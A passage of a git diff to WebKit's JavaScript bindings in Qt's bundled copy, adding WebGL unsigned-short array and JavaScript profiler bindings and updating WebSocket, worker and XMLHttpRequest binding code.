+    putDirect(exec->propertyNames().prototype, JSWebGLUnsignedShortArrayPrototype::self(exec, globalObject), None);
+    putDirect(exec->propertyNames().length, jsNumber(exec, 2), ReadOnly|DontDelete|DontEnum);
+}
+
+static JSObject* constructCanvasUnsignedShortArray(ExecState* exec, JSObject* constructor, const ArgList& args)
+{
+    JSWebGLUnsignedShortArrayConstructor* jsConstructor = static_cast<JSWebGLUnsignedShortArrayConstructor*>(constructor);
+    RefPtr<WebGLUnsignedShortArray> array = static_cast<WebGLUnsignedShortArray*>(construct<WebGLUnsignedShortArray, unsigned short>(exec, args).get());
+    if (!array.get()) {
+        setDOMException(exec, INDEX_SIZE_ERR);
+        return 0;
+    }
+    return asObject(toJS(exec, jsConstructor->globalObject(), array.get()));
+}
+
+JSC::ConstructType JSWebGLUnsignedShortArrayConstructor::getConstructData(JSC::ConstructData& constructData)
+{
+    constructData.native.function = constructCanvasUnsignedShortArray;
+    return ConstructTypeHost;
+}
+
+} // namespace WebCore
+
+#endif // ENABLE(3D_CANVAS)
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSWebGLUnsignedShortArrayConstructor.h b/src/3rdparty/webkit/WebCore/bindings/js/JSWebGLUnsignedShortArrayConstructor.h
new file mode 100644
index 0000000..5eba20d
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSWebGLUnsignedShortArrayConstructor.h
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) 2009 Apple Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
+ */
+
+#ifndef JSWebGLUnsignedShortArrayConstructor_h
+#define JSWebGLUnsignedShortArrayConstructor_h
+
+#include "JSDOMBinding.h"
+#include "JSDocument.h"
+
+namespace WebCore {
+
+    class JSWebGLUnsignedShortArrayConstructor : public DOMConstructorObject {
+    public:
+        JSWebGLUnsignedShortArrayConstructor(JSC::ExecState*, JSDOMGlobalObject*);
+        static const JSC::ClassInfo s_info;
+
+    private:
+        virtual JSC::ConstructType getConstructData(JSC::ConstructData&);
+        virtual const JSC::ClassInfo* classInfo() const { return &s_info; }
+    };
+
+}
+
+#endif // JSWebGLUnsignedShortArrayConstructor_h
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSWebGLUnsignedShortArrayCustom.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSWebGLUnsignedShortArrayCustom.cpp
new file mode 100644
index 0000000..0c82c3e
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSWebGLUnsignedShortArrayCustom.cpp
@@ -0,0 +1,78 @@
+/*
+ * Copyright (C) 2009 Apple Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
+ */
+
+#include "config.h"
+
+#if ENABLE(3D_CANVAS)
+
+#include "JSWebGLArrayHelper.h"
+#include "JSWebGLUnsignedShortArray.h"
+
+#include "WebGLUnsignedShortArray.h"
+
+using namespace JSC;
+
+namespace WebCore {
+
+void JSWebGLUnsignedShortArray::indexSetter(JSC::ExecState* exec, unsigned index, JSC::JSValue value)
+{
+    impl()->set(index, static_cast<unsigned short>(value.toInt32(exec)));
+}
+
+JSC::JSValue toJS(JSC::ExecState* exec, JSDOMGlobalObject* globalObject, WebGLUnsignedShortArray* object)
+{
+    return getDOMObjectWrapper<JSWebGLUnsignedShortArray>(exec, globalObject, object);
+}
+
+JSC::JSValue JSWebGLUnsignedShortArray::set(JSC::ExecState* exec, JSC::ArgList const& args)
+{
+    if (args.size() > 2)
+        return throwError(exec, SyntaxError);
+
+    if (args.size() == 2 && args.at(0).isInt32()) {
+        // void set(in unsigned long index, in long value);
+        unsigned index = args.at(0).toUInt32(exec);
+        impl()->set(index, static_cast<unsigned short>(args.at(1).toInt32(exec)));
+        return jsUndefined();
+    }
+
+    WebGLUnsignedShortArray* array = toWebGLUnsignedShortArray(args.at(0));
+    if (array) {
+        // void set(in WebGLUnsignedShortArray array, [Optional] in unsigned long offset);
+        unsigned offset = 0;
+        if (args.size() == 2)
+            offset = args.at(1).toInt32(exec);
+        ExceptionCode ec = 0;
+        impl()->set(array, offset, ec);
+        setDOMException(exec, ec);
+        return jsUndefined();
+    }
+
+    return setWebGLArrayFromArray(exec, impl(), args);
+}
+
+} // namespace WebCore
+
+#endif // ENABLE(3D_CANVAS)
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSWebSocketConstructor.h b/src/3rdparty/webkit/WebCore/bindings/js/JSWebSocketConstructor.h
index 069647a..633e612 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSWebSocketConstructor.h
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSWebSocketConstructor.h
@@ -31,6 +31,8 @@
 #ifndef JSWebSocketConstructor_h
 #define JSWebSocketConstructor_h
 
+#if ENABLE(WEB_SOCKETS)
+
 #include "JSDOMBinding.h"
 
 namespace WebCore {
@@ -45,6 +47,8 @@ class JSWebSocketConstructor : public DOMConstructorObject {
     virtual const JSC::ClassInfo* classInfo() const { return &s_info; }
 };
 
-}  // namespace WebCore
+} // namespace WebCore
+
+#endif // ENABLE(WEB_SOCKETS)
 
-#endif  // JSWebSocketConstructor_h
+#endif // JSWebSocketConstructor_h
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSWebSocketCustom.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSWebSocketCustom.cpp
index 33c3fcd..d610f01 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSWebSocketCustom.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSWebSocketCustom.cpp
@@ -38,7 +38,6 @@
 #include "KURL.h"
 #include "JSEventListener.h"
 #include "WebSocket.h"
-#include "NotImplemented.h"
 #include <runtime/Error.h>
 
 using namespace JSC;
@@ -66,7 +65,7 @@ JSValue JSWebSocket::addEventListener(ExecState* exec, const ArgList& args)
     if (!listener.isObject())
         return jsUndefined();
 
-    impl()->addEventListener(args.at(0).toString(exec), JSEventListener::create(asObject(listener), false, currentWorld(exec)), args.at(2).toBoolean(exec));
+    impl()->addEventListener(args.at(0).toString(exec), JSEventListener::create(asObject(listener), this, false, currentWorld(exec)), args.at(2).toBoolean(exec));
     return jsUndefined();
 }
 
@@ -76,7 +75,7 @@ JSValue JSWebSocket::removeEventListener(ExecState* exec, const ArgList& args)
     if (!listener.isObject())
         return jsUndefined();
 
-    impl()->removeEventListener(args.at(0).toString(exec), JSEventListener::create(asObject(listener), false, currentWorld(exec)).get(), args.at(2).toBoolean(exec));
+    impl()->removeEventListener(args.at(0).toString(exec), JSEventListener::create(asObject(listener), this, false, currentWorld(exec)).get(), args.at(2).toBoolean(exec));
     return jsUndefined();
 }
 
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSWorkerContextBase.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSWorkerContextBase.cpp
index 741a269..2491f4d 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSWorkerContextBase.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSWorkerContextBase.cpp
@@ -42,10 +42,10 @@ namespace WebCore {
 
 ASSERT_CLASS_FITS_IN_CELL(JSWorkerContextBase);
 
-const ClassInfo JSWorkerContextBase::s_info = { "WorkerContext", 0, 0, 0 };
+const ClassInfo JSWorkerContextBase::s_info = { "WorkerContext", &JSDOMGlobalObject::s_info, 0, 0 };
 
 JSWorkerContextBase::JSWorkerContextBase(NonNullPassRefPtr<JSC::Structure> structure, PassRefPtr<WorkerContext> impl)
-    : JSDOMGlobalObject(structure, new JSDOMGlobalObjectData, this)
+    : JSDOMGlobalObject(structure, new JSDOMGlobalObjectData(normalWorld(*impl->script()->globalData())), this)
     , m_impl(impl)
 {
 }
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSWorkerContextCustom.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSWorkerContextCustom.cpp
index 490d9b1..bf9409c 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSWorkerContextCustom.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSWorkerContextCustom.cpp
@@ -32,8 +32,10 @@
 #include "JSDOMBinding.h"
 #include "JSDOMGlobalObject.h"
 #include "JSEventListener.h"
+#include "JSEventSourceConstructor.h"
 #include "JSMessageChannelConstructor.h"
 #include "JSMessagePort.h"
+#include "JSWebSocketConstructor.h"
 #include "JSWorkerLocation.h"
 #include "JSWorkerNavigator.h"
 #include "JSXMLHttpRequestConstructor.h"
@@ -43,10 +45,6 @@
 #include "WorkerNavigator.h"
 #include <interpreter/Interpreter.h>
 
-#if ENABLE(EVENTSOURCE)
-#include "JSEventSourceConstructor.h"
-#endif
-
 using namespace JSC;
 
 namespace WebCore {
@@ -62,7 +60,7 @@ void JSWorkerContext::markChildren(MarkStack& markStack)
     markDOMObjectWrapper(markStack, globalData, impl()->optionalLocation());
     markDOMObjectWrapper(markStack, globalData, impl()->optionalNavigator());
 
-    impl()->markEventListeners(markStack);
+    impl()->markJSEventListeners(markStack);
 }
 
 bool JSWorkerContext::getOwnPropertySlotDelegate(ExecState* exec, const Identifier& propertyName, PropertySlot& slot)
@@ -93,6 +91,13 @@ JSValue JSWorkerContext::xmlHttpRequest(ExecState* exec) const
     return getDOMConstructor<JSXMLHttpRequestConstructor>(exec, this);
 }
 
+#if ENABLE(WEB_SOCKETS)
+JSValue JSWorkerContext::webSocket(ExecState* exec) const
+{
+    return getDOMConstructor<JSWebSocketConstructor>(exec, this);
+}
+#endif
+
 JSValue JSWorkerContext::importScripts(ExecState* exec, const ArgList& args)
 {
     if (!args.size())
@@ -122,7 +127,7 @@ JSValue JSWorkerContext::addEventListener(ExecState* exec, const ArgList& args)
     if (!listener.isObject())
         return jsUndefined();
 
-    impl()->addEventListener(args.at(0).toString(exec), JSEventListener::create(asObject(listener), false, currentWorld(exec)), args.at(2).toBoolean(exec));
+    impl()->addEventListener(args.at(0).toString(exec), JSEventListener::create(asObject(listener), this, false, currentWorld(exec)), args.at(2).toBoolean(exec));
     return jsUndefined();
 }
 
@@ -132,26 +137,26 @@ JSValue JSWorkerContext::removeEventListener(ExecState* exec, const ArgList& arg
     if (!listener.isObject())
         return jsUndefined();
 
-    impl()->removeEventListener(args.at(0).toString(exec), JSEventListener::create(asObject(listener), false, currentWorld(exec)).get(), args.at(2).toBoolean(exec));
+    impl()->removeEventListener(args.at(0).toString(exec), JSEventListener::create(asObject(listener), this, false, currentWorld(exec)).get(), args.at(2).toBoolean(exec));
     return jsUndefined();
 }
 
 JSValue JSWorkerContext::setTimeout(ExecState* exec, const ArgList& args)
 {
-    ScheduledAction* action = ScheduledAction::create(exec, args, currentWorld(exec));
+    OwnPtr<ScheduledAction> action = ScheduledAction::create(exec, args, currentWorld(exec));
     if (exec->hadException())
         return jsUndefined();
     int delay = args.at(1).toInt32(exec);
-    return jsNumber(exec, impl()->setTimeout(action, delay));
+    return jsNumber(exec, impl()->setTimeout(action.release(), delay));
 }
 
 JSValue JSWorkerContext::setInterval(ExecState* exec, const ArgList& args)
 {
-    ScheduledAction* action = ScheduledAction::create(exec, args, currentWorld(exec));
+    OwnPtr<ScheduledAction> action = ScheduledAction::create(exec, args, currentWorld(exec));
     if (exec->hadException())
         return jsUndefined();
     int delay = args.at(1).toInt32(exec);
-    return jsNumber(exec, impl()->setInterval(action, delay));
+    return jsNumber(exec, impl()->setInterval(action.release(), delay));
 }
 
 
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSXMLHttpRequestCustom.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSXMLHttpRequestCustom.cpp
index 7ee2720..ede5a25 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSXMLHttpRequestCustom.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSXMLHttpRequestCustom.cpp
@@ -29,18 +29,20 @@
 #include "config.h"
 #include "JSXMLHttpRequest.h"
 
+#include "Blob.h"
+#include "DOMFormData.h"
 #include "DOMWindow.h"
 #include "Document.h"
 #include "Event.h"
-#include "File.h"
 #include "Frame.h"
 #include "FrameLoader.h"
 #include "HTMLDocument.h"
+#include "JSBlob.h"
+#include "JSDOMFormData.h"
 #include "JSDOMWindowCustom.h"
 #include "JSDocument.h"
 #include "JSEvent.h"
 #include "JSEventListener.h"
-#include "JSFile.h"
 #include "XMLHttpRequest.h"
 #include <runtime/Error.h>
 #include <interpreter/Interpreter.h>
@@ -56,7 +58,7 @@ void JSXMLHttpRequest::markChildren(MarkStack& markStack)
     if (XMLHttpRequestUpload* upload = m_impl->optionalUpload())
         markDOMObjectWrapper(markStack, *Heap::heap(this)->globalData(), upload);
 
-    m_impl->markEventListeners(markStack);
+    m_impl->markJSEventListeners(markStack);
 }
 
 // Custom functions
@@ -67,21 +69,23 @@ JSValue JSXMLHttpRequest::open(ExecState* exec, const ArgList& args)
 
     const KURL& url = impl()->scriptExecutionContext()->completeURL(args.at(1).toString(exec));
     String method = args.at(0).toString(exec);
-    bool async = true;
-    if (args.size() >= 3)
-        async = args.at(2).toBoolean(exec);
 
     ExceptionCode ec = 0;
-    if (args.size() >= 4 && !args.at(3).isUndefined()) {
-        String user = valueToStringWithNullCheck(exec, args.at(3));
-
-        if (args.size() >= 5 && !args.at(4).isUndefined()) {
-            String password = valueToStringWithNullCheck(exec, args.at(4));
-            impl()->open(method, url, async, user, password, ec);
+    if (args.size() >= 3) {
+        bool async = args.at(2).toBoolean(exec);
+
+        if (args.size() >= 4 && !args.at(3).isUndefined()) {
+            String user = valueToStringWithNullCheck(exec, args.at(3));
+            
+            if (args.size() >= 5 && !args.at(4).isUndefined()) {
+                String password = valueToStringWithNullCheck(exec, args.at(4));
+                impl()->open(method, url, async, user, password, ec);
+            } else
+                impl()->open(method, url, async, user, ec);
         } else
-            impl()->open(method, url, async, user, ec);
+            impl()->open(method, url, async, ec);
     } else
-        impl()->open(method, url, async, ec);
+        impl()->open(method, url, ec);
 
     setDOMException(exec, ec);
     return jsUndefined();
@@ -109,8 +113,10 @@ JSValue JSXMLHttpRequest::send(ExecState* exec, const ArgList& args)
             impl()->send(ec);
         else if (val.inherits(&JSDocument::s_info))
             impl()->send(toDocument(val), ec);
-        else if (val.inherits(&JSFile::s_info))
-            impl()->send(toFile(val), ec);
+        else if (val.inherits(&JSBlob::s_info))
+            impl()->send(toBlob(val), ec);
+        else if (val.inherits(&JSDOMFormData::s_info))
+            impl()->send(toDOMFormData(val), ec);
         else
             impl()->send(val.toString(exec), ec);
     }
@@ -153,7 +159,7 @@ JSValue JSXMLHttpRequest::addEventListener(ExecState* exec, const ArgList& args)
     if (!listener.isObject())
         return jsUndefined();
 
-    impl()->addEventListener(args.at(0).toString(exec), JSEventListener::create(asObject(listener), false, currentWorld(exec)), args.at(2).toBoolean(exec));
+    impl()->addEventListener(args.at(0).toString(exec), JSEventListener::create(asObject(listener), this, false, currentWorld(exec)), args.at(2).toBoolean(exec));
     return jsUndefined();
 }
 
@@ -163,7 +169,7 @@ JSValue JSXMLHttpRequest::removeEventListener(ExecState* exec, const ArgList& ar
     if (!listener.isObject())
         return jsUndefined();
 
-    impl()->removeEventListener(args.at(0).toString(exec), JSEventListener::create(asObject(listener), false, currentWorld(exec)).get(), args.at(2).toBoolean(exec));
+    impl()->removeEventListener(args.at(0).toString(exec), JSEventListener::create(asObject(listener), this, false, currentWorld(exec)).get(), args.at(2).toBoolean(exec));
     return jsUndefined();
 }
 
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSXMLHttpRequestUploadCustom.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSXMLHttpRequestUploadCustom.cpp
index fa7cfec..857c12d 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSXMLHttpRequestUploadCustom.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSXMLHttpRequestUploadCustom.cpp
@@ -48,7 +48,7 @@ void JSXMLHttpRequestUpload::markChildren(MarkStack& markStack)
     if (XMLHttpRequest* xmlHttpRequest = m_impl->associatedXMLHttpRequest())
         markDOMObjectWrapper(markStack, *Heap::heap(this)->globalData(), xmlHttpRequest);
 
-    m_impl->markEventListeners(markStack);
+    m_impl->markJSEventListeners(markStack);
 }
 
 JSValue JSXMLHttpRequestUpload::addEventListener(ExecState* exec, const ArgList& args)
@@ -57,7 +57,7 @@ JSValue JSXMLHttpRequestUpload::addEventListener(ExecState* exec, const ArgList&
     if (!listener.isObject())
         return jsUndefined();
 
-    impl()->addEventListener(args.at(0).toString(exec), JSEventListener::create(asObject(listener), false, currentWorld(exec)), args.at(2).toBoolean(exec));
+    impl()->addEventListener(args.at(0).toString(exec), JSEventListener::create(asObject(listener), this, false, currentWorld(exec)), args.at(2).toBoolean(exec));
     return jsUndefined();
 }
 
@@ -67,7 +67,7 @@ JSValue JSXMLHttpRequestUpload::removeEventListener(ExecState* exec, const ArgLi
     if (!listener.isObject())
         return jsUndefined();
 
-    impl()->removeEventListener(args.at(0).toString(exec), JSEventListener::create(asObject(listener), false, currentWorld(exec)).get(), args.at(2).toBoolean(exec));
+    impl()->removeEventListener(args.at(0).toString(exec), JSEventListener::create(asObject(listener), this, false, currentWorld(exec)).get(), args.at(2).toBoolean(exec));
     return jsUndefined();
 }
 
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JavaScriptProfile.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JavaScriptProfile.cpp
new file mode 100644
index 0000000..8e56ed8
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JavaScriptProfile.cpp
@@ -0,0 +1,183 @@
+/*
+ * Copyright (C) 2008 Apple Inc. All Rights Reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#include "config.h"
+#include "JavaScriptProfile.h"
+
+#if ENABLE(JAVASCRIPT_DEBUGGER)
+
+#include "JavaScriptProfileNode.h"
+#include <JavaScriptCore/APICast.h>
+#include <JavaScriptCore/JSObjectRef.h>
+#include <JavaScriptCore/JSStringRef.h>
+#include <JavaScriptCore/OpaqueJSString.h>
+#include <profiler/Profile.h>
+#include <runtime/JSObject.h>
+#include <runtime/JSValue.h>
+#include <wtf/StdLibExtras.h>
+
+using namespace JSC;
+
+namespace WebCore {
+
+// Cache
+
+typedef HashMap<Profile*, JSObject*> ProfileMap;
+
+static ProfileMap& profileCache()
+{
+    DEFINE_STATIC_LOCAL(ProfileMap, staticProfiles, ());
+    return staticProfiles;
+}
+
+// Static Values
+
+static JSClassRef ProfileClass();
+
+static JSValueRef getTitleCallback(JSContextRef ctx, JSObjectRef thisObject, JSStringRef, JSValueRef*)
+{
+    if (!JSValueIsObjectOfClass(ctx, thisObject, ProfileClass()))
+        return JSValueMakeUndefined(ctx);
+
+    Profile* profile = static_cast<Profile*>(JSObjectGetPrivate(thisObject));
+    return JSValueMakeString(ctx, OpaqueJSString::create(profile->title()).get());
+}
+
+static JSValueRef getHeadCallback(JSContextRef ctx, JSObjectRef thisObject, JSStringRef, JSValueRef*)
+{
+    if (!JSValueIsObjectOfClass(ctx, thisObject, ProfileClass()))
+        return JSValueMakeUndefined(ctx);
+
+    ExecState* exec = toJS(ctx);
+    Profile* profile = static_cast<Profile*>(JSObjectGetPrivate(thisObject));
+    return toRef(exec, toJS(exec, profile->head()));
+}
+
+static JSValueRef getUniqueIdCallback(JSContextRef ctx, JSObjectRef thisObject, JSStringRef, JSValueRef*)
+{
+    if (!JSValueIsObjectOfClass(ctx, thisObject, ProfileClass()))
+        return JSValueMakeUndefined(ctx);
+
+    Profile* profile = static_cast<Profile*>(JSObjectGetPrivate(thisObject));
+    return JSValueMakeNumber(ctx, profile->uid());
+}
+
+// Static Functions
+
+static JSValueRef focus(JSContextRef ctx, JSObjectRef /*function*/, JSObjectRef thisObject, size_t argumentCount, const JSValueRef arguments[], JSValueRef* /*exception*/)
+{
+    if (!JSValueIsObjectOfClass(ctx, thisObject, ProfileClass()))
+        return JSValueMakeUndefined(ctx);
+
+    if (argumentCount < 1)
+        return JSValueMakeUndefined(ctx);
+
+    if (!JSValueIsObjectOfClass(ctx, arguments[0], ProfileNodeClass()))
+        return JSValueMakeUndefined(ctx);
+
+    Profile* profile = static_cast<Profile*>(JSObjectGetPrivate(thisObject));
+    profile->focus(static_cast<ProfileNode*>(JSObjectGetPrivate(const_cast<JSObjectRef>(arguments[0]))));
+
+    return JSValueMakeUndefined(ctx);
+}
+
+static JSValueRef exclude(JSContextRef ctx, JSObjectRef /*function*/, JSObjectRef thisObject, size_t argumentCount, const JSValueRef arguments[], JSValueRef* /*exception*/)
+{
+    if (!JSValueIsObjectOfClass(ctx, thisObject, ProfileClass()))
+        return JSValueMakeUndefined(ctx);
+
+    if (argumentCount < 1)
+        return JSValueMakeUndefined(ctx);
+
+    if (!JSValueIsObjectOfClass(ctx, arguments[0], ProfileNodeClass()))
+        return JSValueMakeUndefined(ctx);
+
+    Profile* profile = static_cast<Profile*>(JSObjectGetPrivate(thisObject));
+    profile->exclude(static_cast<ProfileNode*>(JSObjectGetPrivate(const_cast<JSObjectRef>(arguments[0]))));
+
+    return JSValueMakeUndefined(ctx);
+}
+
+static JSValueRef restoreAll(JSContextRef ctx, JSObjectRef /*function*/, JSObjectRef thisObject, size_t /*argumentCount*/, const JSValueRef[] /*arguments*/, JSValueRef* /*exception*/)
+{
+    if (!JSValueIsObjectOfClass(ctx, thisObject, ProfileClass()))
+        return JSValueMakeUndefined(ctx);
+
+    Profile* profile = static_cast<Profile*>(JSObjectGetPrivate(thisObject));
+    profile->restoreAll();
+
+    return JSValueMakeUndefined(ctx);
+}
+
+static void finalize(JSObjectRef object)
+{
+    Profile* profile = static_cast<Profile*>(JSObjectGetPrivate(object));
+    profileCache().remove(profile);
+    profile->deref();
+}
+
+JSClassRef ProfileClass()
+{
+    static JSStaticValue staticValues[] = {
+        { "title", getTitleCallback, 0, kJSPropertyAttributeNone },
+        { "head", getHeadCallback, 0, kJSPropertyAttributeNone },
+        { "uid", getUniqueIdCallback, 0, kJSPropertyAttributeNone },
+        { 0, 0, 0, 0 }
+    };
+
+    static JSStaticFunction staticFunctions[] = {
+        { "focus", focus, kJSPropertyAttributeNone },
+        { "exclude", exclude, kJSPropertyAttributeNone },
+        { "restoreAll", restoreAll, kJSPropertyAttributeNone },
+        { 0, 0, 0 }
+    };
+
+    static JSClassDefinition classDefinition = {
+        0, kJSClassAttributeNone, "Profile", 0, staticValues, staticFunctions,
+        0, finalize, 0, 0, 0, 0, 0, 0, 0, 0, 0
+    };
+
+    static JSClassRef profileClass = JSClassCreate(&classDefinition);
+    return profileClass;
+}
+
+JSValue toJS(ExecState* exec, Profile* profile)
+{
+    if (!profile)
+        return jsNull();
+
+    JSObject* profileWrapper = profileCache().get(profile);
+    if (profileWrapper)
+        return profileWrapper;
+
+    profile->ref();
+    profileWrapper = toJS(JSObjectMake(toRef(exec), ProfileClass(), static_cast<void*>(profile)));
+    profileCache().set(profile, profileWrapper);
+    return profileWrapper;
+}
+
+} // namespace WebCore
+
+#endif // ENABLE(JAVASCRIPT_DEBUGGER)
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JavaScriptProfile.h b/src/3rdparty/webkit/WebCore/bindings/js/JavaScriptProfile.h
new file mode 100644
index 0000000..7b75b97
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JavaScriptProfile.h
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) 2008 Apple Inc. All Rights Reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#ifndef JavaScriptProfile_h
+#define JavaScriptProfile_h
+
+#if ENABLE(JAVASCRIPT_DEBUGGER)
+
+#include <runtime/JSValue.h>
+
+namespace JSC {
+class ExecState;
+class Profile;
+}
+
+namespace WebCore {
+
+JSC::JSValue toJS(JSC::ExecState*, JSC::Profile*);
+
+} // namespace WebCore
+
+#endif // ENABLE(JAVASCRIPT_DEBUGGER)
+
+#endif
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JavaScriptProfileNode.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JavaScriptProfileNode.cpp
new file mode 100644
index 0000000..7d60b24
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JavaScriptProfileNode.cpp
